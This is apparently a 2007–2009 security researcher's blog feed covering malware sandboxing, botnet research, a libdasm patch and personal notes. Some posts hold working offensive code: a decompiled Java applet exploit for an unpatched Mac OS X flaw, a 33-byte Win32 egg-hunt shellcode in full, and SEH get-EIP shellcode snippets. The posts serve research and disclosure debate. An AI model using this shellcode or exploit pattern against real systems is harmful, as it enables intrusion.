oxff's Blog

Unresponsible Disclosure: The MacOS X Java Bug

noreply@blogger.com (oxff) — Wed, 20 May 2009 14:17:00 +0000

Landon Fuller decided to publish a proof of concept for a Sun Java VM vulnerability, that is still unpatched on Mac OS X. I agree that after this timespan, it was neccessary to demonstrate how easy it is to exploit this vulnerability; however, he decided to make it trivial to build your own exploit from it.

You can easily fetch HelloWorldApplet.class from his page and look at a decompiled version by JAD. He uses his own loader package fun.FunLoader, so grab fun/FunLoader.class as well. HelloWorldApplet also uses javax/Exec.class and Exec$1.class, and if we decompile that, it is trivial to spot, how to craft your own exploit:

package javax;

import java.security.AccessController;
import java.security.PrivilegedExceptionAction;

public class Exec
{

    public Exec()
    {
        try
        {
            final String cmd[] = {
                "/usr/bin/say", "I am executing an innocuous user process"
            };
            AccessController.doPrivileged(new PrivilegedExceptionAction() {

                public Object run()
                    throws Exception
                {
                    Runtime.getRuntime().exec(cmd);
                    return null;
                }

                final String val$cmd[];
                final Exec this$0;

            
            {
                this$0 = Exec.this;
                cmd = as;
                super();
            }
            });
        }
        catch(Exception exception)
        {
            throw new RuntimeException("Exec failed", exception);
        }
    }
}

You can even recycle all .class files and his t.tmp serialized input stream, just replace Exec.class in your local copy with your malicious payload.

Now this is unresponsible disclosure if it is so dead-easy to build your own exploit from it, it's almost easier than writing a custom shellcode for an existing exploit.

Death of a X200s Display

noreply@blogger.com (oxff) — Sun, 10 May 2009 19:34:00 +0000

Attraction is...

... if you still talk to her.

(I made her crawl on the floor and whimper, though.)

libdasm @ Google Code

noreply@blogger.com (oxff) — Fri, 08 May 2009 10:27:00 +0000

Since `jt' apparently does not have the time or envy to maintain libdasm anymore, Ange Albertini has taken the task and created a new Google Code Project for libdasm (libdasm was public domain anyway) for maintining it; my recent FPU fix is already included and I will try to get people like Silvio Cesare adding their fixes and patches as well. Thanks Ange for stepping forward!

libdasm D9h FPU Instructions Fix

noreply@blogger.com (oxff) — Fri, 10 Apr 2009 11:44:00 +0000

libdasm incorrectly disassembles FPU instructions with D9 prefix and second byte > fnop. Affected instructions amongst others include fsin, fcos and frndint. The reason is simple, there is four NULL lines missing in the correspondending opcode table, resulting in an off-by-four for the following opcodes. I've sent a very simple patch to the libdasm author, until it is included in a release, it's here as well:

$ cat libdasm-1.5-fpufix-d9prefix.patch 
--- libdasm-1.5/opcode_tables.h 2006-02-21 15:29:41.000000000 +0100
+++ libdasm-1.5-fpufix/opcode_tables.h 2009-04-10 13:32:20.000000000 +0200
@@ -1818,6 +1818,10 @@
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
+ { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 }, 
  { INSTRUCTION_TYPE_FPU,    "fchs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    "fabs",      FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },
  { INSTRUCTION_TYPE_FPU,    NULL,        FLAGS_NONE,                  FLAGS_NONE,                FLAGS_NONE,   0, 0, 0, 0, 0 },

I've stumbled across this while trying to use my (pefile and pydasm based) code normalizer on a malware packer using float's for looping.

PE Sandboxing

noreply@blogger.com (oxff) — Fri, 03 Apr 2009 21:52:00 +0000

Because I'm frustrated about the poor scalability of most sandboxes out there, which quite frankly don't deserve their name anyway, because they're just VMs with some Ring 0 rootkit, I've started some work on dynamic code analysis by a per-process level PE sandbox. So far, I've got the execution of arbitrary code with virtual memory; I had PE loading, but deleted it and could not recover from ext3 (vlashef being my witness).

There are two testcases of interest, the first regarding performance:

$ cat testcases/simple-loop.asm 
[bits 32]


start:
 mov ecx, 0x100000
 xor eax, eax

.1:
 inc eax
 dec ecx
 jnz .1

end:
 int3

Due to some fancy analysis (admittedly, so far it only supports backward jumps), we can put more than one basic block directly on the CPU:

$ time ./libcpu-test 100 < testcases/simple-loop.bin 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37cd2000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x380cd000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  > mov ecx,0x100000
  > xor eax,eax
  > inc eax
  > dec ecx
  > jnz 0x400007
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x380d1000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x380d1000 b
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00100000
eflags: 00000246
eip: 0040000b
Unrecognized instruction for emulation: int3 cc 1

real 0m0.005s
user 0m0.004s
sys 0m0.000s

The second example is more interesting, because it shows the ability to handle self-modifying code. The following snippet copies itself right behind itself and then runs into the copy without any jump:

$ cat testcases/copysled.asm 
[bits 32]


start:
 mov ebx, 0x10

sled:
 call $+5
 pop esi
 sub esi, 5

 mov edi, esi
 mov ecx, end-sled
 add edi, ecx

 rep movsb

 dec ebx
 jnz end

 int3

end:
 hlt

For obvious reasons, I've cut out some of the output in the middle:

bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 1000 -> 0x37c6f000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 3fc000 -> 0x3806a000, 4000
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000000
eip: 00400000
  > mov ebx,0x10
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e000 5
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 00400005
Emulating CALL instruction from 40000a.
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e005 0
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
---
edi: 00000000
esi: 00000000
ebp: 00000000
esp: 003ffffc
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040000a
  > pop esi
  > sub esi,0x5
  > mov edi,esi
  > mov ecx,0x1b
  > add edi,ecx
  > rep movsb 
  > dec ebx
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e00a 13
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
---
edi: 00400020
esi: 00400005
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 0000001b
eax: 00000000
eflags: 00010212
eip: 0040001a
  > rep movsb 
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01a 2
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
---
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 00000010
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000206
eip: 0040001c
  > dec ebx
bool libcpu::VirtualMemory::allocatePages(uint32_t, uint32_t, int): 400000 -> 0x3806e000, 1000
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e01c 1
edi: 0040003b
esi: 00400020
ebp: 00000000
esp: 00400000
ebx: 0000000f
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000216
eip: 0040001d
---
[[[ CUT ]]]
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b2
Emulating Jcc 1: 0
void libcpu::CpuEmulator::analyzeBlock(): 0x3806e1b2 0
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
---
edi: 004001d0
esi: 004001b5
ebp: 00000000
esp: 00400000
ebx: 00000000
edx: 00000000
ecx: 00000000
eax: 00000000
eflags: 00000246
eip: 004001b4
Unrecognized instruction for emulation: int3 cc 1

real 0m0.006s
user 0m0.004s
sys 0m0.000s

inspircd

noreply@blogger.com (oxff) — Wed, 04 Mar 2009 17:40:00 +0000

I have just today come across inspircd, a great IRC server. It is very modular and has an astonishing default feature set with amazingly good configuration documentation, compared to other ircd's out there. Probably also very nice for hosting your botnet, thanks to its modularity.

Win32 Egg Search Shellcode, 33 bytes

noreply@blogger.com (oxff) — Wed, 18 Feb 2009 12:46:00 +0000

For a current collaboration on taking down yet another botnet, I had to write a very small shellcode. Thanks to some ideas from Understanding Windows Shellcode by skape, I managed to write a egg search shellcode in 33 bytes.

The general idea of the AddAtomA int 2e memory testing was public, but the best implementation I could find was 40 bytes long (skape's one) and had the limitation of an executable marker. This one is 33 bytes long and you can choose any four byte marker you want. If we wouldn't start at 0, we could save two more bytes going down to 31, but this makes search a lot slower. There is a 32 byte version by skape that requires page aligned 2nd stage, which is not really comparable because it again requires an executable marker and a 2nd stage injection of at least 4kb with a long marker sled. Sill I first got the int 2e idea from his paper, so credits to him for that.

The only real limitation of this shellcode is that your second stage may not be within the first four bytes of a page boundary. Theoretical probability is < 0.1%, having heap allocator designs in mind, it is even less probable.
If this is a severe stability limitation for you, there is two solutions:

Use an executable marker and put it in front of the shellcode twice. Usually, it will trigger in the first four bytes and jump into the second marker. If it really is page aligned, it will jump right after the second marker.
Use any (non-executable) marker and put a second marker with a relative jump to your shellcode after the shellcode.

This shellcode is 100% position independent w/o any GetPC sequence, so it won't be detected by libemu and similiar things (although this wasn't a design goal but just a side effect). The second stage shellcode can also be implemented without any GetPC sequence, as it gets its own address passed in edx.

There is a weird inc ebx instruction at the end of the shellcode, but for a good reason: If this eggsearch shellcode lies in memory before the actual shellcode, our search will stop at the imm32 of the cmp r/m32, imm32 instruction and the jmp edx will go to the next instruction, jne (= jnz) address_loop. The inc ebx ensures that ZF is not set (unless we're very unlucky and our exploitation environment had the otherwise unused ebx register set to 0xffffffff) and thus our search continues at the next address.

; win32 eggsearch shellcode, 33 bytes
; tested on windows xp sp2, should work on all service packs on win2k, win xp, win2k3
; (c) 2009 by Georg 'oxff' Wicherski 

[bits 32]

marker equ 0x1f217767   ; 'gw!\x1f'

start:
 xor edx, edx   ; edx = 0, pointer to examined address
      
address_loop:
 inc edx    ; edx++, try next address

pagestart_check:
 test dx, 0x0ffc   ; are we within the first 4 bytes of a page?
 jz address_loop   ; if so, try next address as previous page might be unreadable
     ; and the cmp [edx-4], marker might result in a segmentation fault

access_check:
 push edx   ; save across syscall
 push byte 8   ; eax = 8, syscall nr of AddAtomA
 pop eax    ; ^
 int 0x2e   ; fire syscall (eax = 8, edx = ptr)
 cmp al, 0x05   ; is result 0xc0000005? (a bit sloppy)
 pop edx    ;

 je address_loop   ; jmp if result was 0xc0000005

egg_check:
 cmp dword [edx-4], marker ; is our egg right before examined address?
 jne address_loop  ; if not, try next address

egg_execute:
 inc ebx    ; make sure, zf is not set
 jmp edx    ; we found our egg at [edx-4], so we can jmp to edx

GovCERT.nl 2008 Slides

noreply@blogger.com (oxff) — Thu, 30 Oct 2008 11:05:00 +0000

My GovCERT.nl 2008 slides are online now.

mwcollect Alliance Webinterface Development

noreply@blogger.com (oxff) — Sat, 11 Oct 2008 18:09:00 +0000

Reflect Yourself

noreply@blogger.com (oxff) — Thu, 01 May 2008 21:11:00 +0000

Mayday 2008 was a total blast, DJ Korsakoff made a hell of a performance. Eventhough I didn't sleep the last 30 hours or so, I'm still rather awake due to the coffinated water they sold. I'll update this blog post with some own trashy mobile phone video later.

We are still here!

Botnet Monitoring Frontend

noreply@blogger.com (oxff) — Thu, 13 Mar 2008 14:33:00 +0000

Spam, please

noreply@blogger.com (oxff) — Sat, 15 Dec 2007 11:20:00 +0000

Please send me your spam or malware!

REP(N)Z and the EFLAGS

noreply@blogger.com (oxff) — Thu, 27 Sep 2007 17:00:00 +0000

Working on some debugger like automation code for EmsiSoft, I recently discovered a funny property when single stepping REPNZ prefixed SCAS and CMPS instructions using the TF bit set in EFLAGS. As expected, for each single byte / word / doubleword, a debug event occurs. However, the EFLAGS register's status bits (e.g. ZF) are not correct for each single iteration but the last.

I tested this in Windows XP in a VmWare, didn't have the time to reproduce on a physical machine yet. Let me know if you run over this quirk, too.

My ISP Blocks YouPorn

noreply@blogger.com (oxff) — Tue, 11 Sep 2007 11:19:00 +0000

Arcor, my home ISP, yesterday started blocking YouPorn. Welcome to China!

Alliance Public Submissions

noreply@blogger.com (oxff) — Thu, 30 Aug 2007 12:34:00 +0000

You can now upload your samples to the Alliance manually, without being a member of the mwcollect Alliance. Submissions are correlated with automatically collected samples:

Anubis Sandbox Becoming Useless

noreply@blogger.com (oxff) — Tue, 28 Aug 2007 09:20:00 +0000

Doing mostly botnet research with the samples we obtain through the mwcollect Alliance, the most interesting thing in the Anubis sandbox reports for me were the network traces. Following the lame ``run the binary in a VM, hooking all interesting APIs'' the Anubis sandbox has to really connect to the C&C server in order to get to know channel names, keys, etc.

The big problem here is, that the public online submission interface analysis machine all run on static IPs, not utilizing proxies and even worse -- having a valid reverse DNS entry pointing to Anubis. In the end, this made most ``advanced'' herders block the Anubis sandbox, as can be seen from this exemplary report (search for ``ERROR :Closing'').

Time to finally finish my own sandboxing stuff... not relying on the remote connection but on statical behavioural analysis with some emulation (packers, self-modifying code, ...).

Speaking at DeepSec and Winning CIPHER-CTF

noreply@blogger.com (oxff) — Fri, 13 Jul 2007 10:50:00 +0000

The mwcollect.org Team `teamSparta', in which I participated as well, made the first place in the CIPHER CTF Contest. Yay!

I'll be speaking on DeepSec 2007 in Nov in Vienna, Austria.

Wikipedia and Public Media explaining Botnets

noreply@blogger.com (oxff) — Fri, 08 Jun 2007 16:14:00 +0000

(All German):

There is still so much wrong information about botnets out there. These people suck as reporters (as most reporters do).

Malware Paragraph in German Laws

noreply@blogger.com (oxff) — Fri, 25 May 2007 15:24:00 +0000

They finally criminalized any serious IT security penetration tester and the people developing the tools for them in my home country, Germany! Hail Zypries and all the other Internet nazis! \o

mwcollect Alliance Webinterface

noreply@blogger.com (oxff) — Mon, 21 May 2007 17:56:00 +0000

We're still working on the mwcollect Alliance Webinterface, but already got some really nice stuff. The people from the Anubis Sandbox were so kind to provide us with a closed submission interface, so we can automatically upload new samples and link to them.

oxff Inc. -- Bragging Redefined

noreply@blogger.com (oxff) — Thu, 12 Apr 2007 17:00:00 +0000

I count at least five of nine papers from HotBots referencing at least one paper, I have had my hands involved in.

Jikto Hype

noreply@blogger.com (oxff) — Sat, 07 Apr 2007 09:27:00 +0000

After not posting for quite some time, I've got something to say again.

Recently, the Jikto `Javascript Drone' was hyped a lot in different media; the usual ``OMG t3h Internet is l0st'' we see at least once each year. I just had a look at Jikto's code, which was leaked the day after Jikto was presented on ShmooCon. It's totally ridiculous, it's using XMLHttpRequests to spider web-pages and tries finding `.old' and `.bak' files on these servers bug bruteforcing every found file. Additionally, it features a very false positive prone XSS scanner.

This XSS scanner injects <script>alert('xss');</script> into every GET parameter and just parses for `script' in the response. If the brackets are properly escaped, we still get our false positive. How enterprise.

Another wrong rumor is, that this code turns your computer or your browser into a drone. It's just yet another non-resident script. Additionally, because of the XMLHttpRequests, you're limited to your own domain to scan (unless you find a cool vulnerability in your browser or already know a XSS in the target site to inject Jikto).

All in all, this is just some hyped, lame, proof of concept script, if you ask me. :/

Update:
One of my favourite hypes regarding Jikto says ``the hacker tool Jikto is spreading uncontrolled'' and ``the script captures computers of clueless Internet users to perform a portscan''; ``security experts are afraid that blackhats could misuse the extremely dangerous potential of this software''.

Botnets? No real threat, not interesting to the media... Hey, there is already a cool botnet monitoring tool from Microsoft, featuring a laggy GUI and dieing if more than 2k nets are monitored. Hey, subfolders for each botnet are cool.
Seriously, let's just all commit suicide in such an IT security world. :/

New Sandbox Application on the Horizon

noreply@blogger.com (oxff) — Tue, 06 Mar 2007 09:19:00 +0000

A new sandbox application has poppep up on the net: JoeBox. Of course it uses its own ``unique special concept''; the same unique special concept we were seeing in CWSandbox and some other private tools before.

It uses the same old userland API hooking tricks, everybody else seems to be using but this one runs on a physical machine and not in a virtual machine. Let's hope there is at least one bigger difference: this one could be free. But in the age of every company registering .org's like crazy, this will probably stay a dream.

Dinner for Five

noreply@blogger.com (oxff) — Tue, 27 Feb 2007 01:45:00 +0000

Last Saturday, my mother and me (visiting at her during the weekend) got guests: Janine's parents and herself were coming over for some nice dinner. Some photos are available.

Entry: `Stremel Lachs'
Make some simple Guacamole based of Avocado: Mix the squashed Avocado with lemon juice and salt, that's it. Serve the raw salmon filet with the Guacamole and some baguette, offer a twist of lemon optionally to the salmon.

Main Course: `Rindersteak an Haricot-Verde, Rosmarienkartoffeln'
Fry the steak in a very hot pan in olive oil, but not too long, so it's medium. Cook string beans and roll them into bacon, fry these little packs in a pan. Cook potatoes in the skin, remove the skin and bake them with rosemary and olive oil in the oven. Serve all together with a sauce based on the steak's brew, cream and a little bit of smokey BBQ sauce (thanks Ryan!).

Dessert: `Tiramisu'
The nice Italian desert, don't ask me for a recipe -- I didn't do it and I don't know how to!

Get EIP with SEH

noreply@blogger.com (oxff) — Fri, 23 Feb 2007 18:08:00 +0000

While talking about shellcode detection with Paul and Markus, I remembered some SEH based code I've written some time ago for some code to be position independent (and obfuscated). Unfortunately, I couldn't find the original source anymore but wrote up, what I remembered (and didn't test it):

Snippet 1: Custom Handler

mov eax, [esp+0x10]
mov eax, [eax+0x0c]
push eax
jmp eax

Snippet 2: SEH Overwrite

mov edi, [fs:0]
mov edi, [edi+4]
mov [edi+0], 0x448b6766
mov [edi+4], 0x67661024
mov [edi+8], 0x660c408b
mov [edi+12], 0xe0ff6650
 
xor eax, eax
xor [eax], eax
 
pop eax

Basically, the second snippet fetches the address of the current top-most SEH, overwrites it with the binary version of the first snippet and triggers a general protection fault. The address is then popped. Of course, this only works on Win32.

At the time I `invented' that code, I didn't have any reference for such code ITW. But I'm pretty sure, I'm not the first one to have that idea (although a quick Google run didn't reveal anything to me).